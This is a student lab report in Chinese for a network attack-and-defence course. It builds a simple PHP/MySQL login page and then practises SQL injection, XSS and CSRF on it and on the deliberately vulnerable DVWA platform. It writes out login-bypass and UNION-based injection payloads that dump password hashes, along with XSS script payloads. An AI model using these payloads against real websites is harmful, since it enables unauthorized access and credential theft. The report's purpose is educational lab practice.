20232314 2025-2026-1 《网络与系统攻防技术》实验八实验报告
一、实验内容
(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,使用GET和POST方法编写一个含有表单的HTML。
(2)Web前端javascipt
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”,尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。
二、实验过程
(1)Web前端HTML
- 输入命令systemctl start apache2启动apache并输入systemctl status apache2.service确定apache状态
![0c2af45c94272a0e1965aadb90285c5]()
成功启动。
- cd /var/www/html进入/var/www/html目录创建两个html文件分别使用GET和POST方法编写一个含有表单的HTML。
- 在GET中进行登录。
![149a4ee565dfedc3e7244f36ed5fa78]()
![e420a1eaecd88b39aee10efdaad44e3]()
GET方法数据在URL中可见,不适合传输密码。
-
在POST中登陆
![4b9f563dbbf8f53bfdb77243df7d9fe]()
![abf743787e5c51e882167c789c4092a]()
POST方法数据在请求体中发送,不在URL中显示,对密码更安全。
(2)Web前端javascipt
- 在POST方法的基础上,编写验证规则和回显。
-
用户名不能为空。
![ba299f0f38ade9da911688a1c5bae05]()
- 密码至少6个字。
![fd40f36fa5025b4bd8163d6f1426771]()
- 回显欢迎。
![ff15072901b64056426844e1e3f11e2]()
-
- 利用回显用户名注入HTML。
![57243a7839420aee328ba688762192c]()
(3)mysql基础
- systemctl start mysql打开mysql服务,输入mysql启动。并做如下配置(注意每一条命令都要加“;”):
CREATE DATABASE 20232314db;-- 创建数据库
USE 20232314db;-- 使用数据库
CREATE USER 'user1' IDENTIFIED BY 'user@20232314';-- 创建用户
GRANT ALL PRIVILEGES ON 20232314db.* TO 'user1';-- 授予用户权限
FLUSH PRIVILEGES;--刷新权限
ALTER USER 'user20232314' IDENTIFIED BY 'user@2314';-- 修改用户密码
CREATE TABLE tablefirst ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255) NOT NULL, pwd VARCHAR(255) NOT NULL );-- 创建表
INSERT INTO testtable (name, pwd) VALUES ('user1', 'user@20232314');-- 插入数据
SELECT * FROM tablefirst;-- 查看表中所有内容![e6bd11a7e80625a0dd1bf0f23fc2108]()
(4)编写php网页
- 输入数据库中的用户名和密码验证。
![d5d2340bf40e5b3f7e0d3846fa5621b]()
- 随机输入进行验证。
![007309c5c8d669552faac165600b41a]()
(5)SQL注入,XSS攻击测试。
- sql注入
- 使用合法用户名,密码中输入' OR '1'='1即可登录成功。
![305a5ebd0e96d60e477c65fdff6d574]()
![517c8f2ab06fee11f47524bcd3d69c2]()
-
输入不合法用户,密码输入' OR '1'='1也可登录成功。
![680e2b924a403a3ba3773c0eff596cb]()
![515ba785425b6c0945bd0fa58a1ba7a]()
- 使用合法用户名,密码中输入' OR '1'='1即可登录成功。
-
xss攻击
- 在用户名中输入<img src=x onerror=alert("XSSInjectedSucceed")>,密码输入任意值即可实现xss攻击。
![80a4bbf1eca6d90962c17729d565e22]()
![086d43a6ce44d46feda66f4231bbfc6]()
- 在用户名中输入<img src=x onerror=alert("XSSInjectedSucceed")>,密码输入任意值即可实现xss攻击。
(6)使用DVWA完成SQL注入、XSS、CSRF攻击。
- 输入git clone https://github.com/digininja/DVWA.git下载DVWA(如果连接不上可以使用http)。
- 按照教程配置好DVWA的配置文件就可以使用服务了(注意将allow_url_include、display_errors 、display_startup_errors改为on)
- 修改安全等级为low。
- 进行sql注入
- 输入1,网页就会回显1对应的用户名。
![image]()
- 首先我们先注入1',可以看到服务器回显出错并提示我们多了一个',说明是字符型注入
![1f13292a4567986ae4a7f11991252bd]()
![91329b5975ce497c5bffc4763117eb9]()
- 输入1' or '1' = '1把所有用户回显到网页。
![1ec35b74cac6fc81a7e368d7977fce0]()
- 输入' or 1 = 1 order by 1 #、' or 1 = 1 order by 2 #、' or 1 = 1 order by 3 #。
![62eadd03454cf3d5d9babeb55f1adfd]()
![337cc26fae38ceb225d79d80cd226de]()
![df1f67e543e72c6038c99f93162e858]()
第一、二列排序能够成功回显,第三列服务器报错了,这表示该表的前 2 列是可控的。
- 输入1' union select 1,2 #
![e7c59d71f45ed33a7864361a1b2eb66]()
参数的回显顺序是1、2。
- 输入1' union SELECT DATABASE(),2 #获取当前使用的数据库名。
![3be470cdd5568b201fdbf1155804c7d]()
- 输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa'
![6bf29cc260eea9ba618057460ed21b7]()
数据库中有guestbook、access_log、user、security_log4张表。
- 输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'
![1ff8f1448e8ea081c80bc142bfa55bc]()
- 构造payload:1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #直接获取user中的password字段。
![74cdfae688c8f63375273da546319fc]()
admin的密码即为第一个密码。
- 在加密网站中解密pasword字段进行验证。
![6cbe42045a2179aacae8c06ce880cb2]()
解密成功后密码为password,而我们登陆时使用的密码确实是password。
- 输入1,网页就会回显1对应的用户名。
- xss攻击。
- 使用Reflected
- 输入xss,输入内容会显示到页面和URL中。
![c1ddaac27d95dd3dc3c4aac910a93e0]()
- 注入<script>alert('XSS')</script>。
![112c514e74b1039fa4778bb94820cfb]()
![dde10b1c2ec4b174843e9ed1e247ee4]()
- 输入xss,输入内容会显示到页面和URL中。
- 使用Stored
- 正常输入时,输入信息会保存到页面中。
![8806814efc65f9b9d7f1c1537fe8709]()
- 在Message输入框输入<script>alert('lady_killer9')</script>。
![ececa1863f2ca98b44bbc4012e70d94]()
- 正常输入时,输入信息会保存到页面中。
- 使用DOM
- 点击select,URL中default参数会显示提交的内容。
- 改变default为<script>alert('XSS')</script>。
![742537d00c0f8ff63d869b2c5e67ce0]()
- 使用Reflected
- CSRF攻击。
- 修改密码
![c25f5019451da37072586ed76d32c3d]()
修改后的密码会显示在URL中,我们使用修改后的密码登陆admin即可登录成功。
![7cb21684c612f920b952b2d435b4967]()
- 修改URL中的参数,重新打开一个页面访问网址
![b627a7ab2f89dd79435d364734cd6d7]()
可以发现密码已经修改。
- 使用原来的密码123进行登录
![f881a5fc9406c83a579ea8e00d6b9da]()
登录失败。
- 使用修改后的密码1234进行登陆
![ec13fc19529b05f1411e31778a5865b]()
登录成功。
- 修改密码
三、问题及解决方案
- 进行sql注入,点击submit没有页面任何变化
- 这是安全等级太高的缘故,点击左侧"DVWA Security",然后将安全等级改为:low-完全无防护。
- 进行sql注入,本应显示错误信息的页面却是空白的。
- 编辑PHP配置文件——php.ini,将display_errors 、display_startup_errors 改为 On即可显示错误信息。
- 不管输入什么用户名和密码都显示登录失败
- php代码的查询字段应和数据库的字段相同。
- 进行php验证时跳转到空白页面。
- 换一个端口打开html文件。
- 双击html文件进行验证时不会跳转页面而是弹出php文件。
- 在浏览器中使用localhost打开html文件。
四、学习感悟
本次实验让我重温了web前端和后端的相关知识。在此基础上,进行了sql注入、xxs攻击,这让我意识到攻击者可以通过这些网络攻击,不使用合法的用户名和密码也可以登陆保护能力不强的网站。DVMA中相应网络攻击的使用,让我对他们的内在原理及危害有了更深入的了解。特别是CSRF攻击,一个普通的网址就可能会改变自己的密码,泄漏隐私。在日常生活中,要时刻提防网络攻击,不点击陌生的网址,使用正版合法网站,保护web安全。
参考资料










































浙公网安备 33010602011771号